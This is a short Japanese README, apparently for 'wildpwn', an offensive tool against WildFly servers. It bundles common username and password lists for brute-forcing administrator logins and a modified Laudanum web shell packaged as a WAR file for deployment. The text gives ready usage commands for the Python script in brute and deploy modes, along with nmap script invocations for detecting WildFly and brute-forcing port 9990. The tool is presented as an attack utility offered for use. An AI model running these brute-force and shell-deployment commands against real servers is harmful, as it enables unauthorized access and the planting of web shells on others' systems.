hlldz/wildpwnWildFly用のブルートフォーサーおよびシェルデプロイヤー
WildFly用のツールです。ブルートフォース攻撃やシェルデプロイに使用できます。wildPwn.warには修正されたLaudanum Shellが含まれています。userList.txtには一般的なユーザー名、passList.txtには一般的なパスワードが含まれています。
ブルートフォース
python wildPwn.py -m brute --target <TARGET> -user <USERNAME LIST> -pass <PASSWORD LIST>
シェルデプロイ
python wildPwn.py -m deploy --target <TARGET> --port <PORT> -u <USERNAME> -p <PASSWORD>
https://artofpwn.com/wildfly-exploitation.html
検出
nmap --script wildfly-detect <TARGET>
ブルートフォース
nmap -p 9990 --script wildfly-brute --script-args "userdb=usernameList.txt,passdb=passList.txt,hostname=domain.com" <TARGET>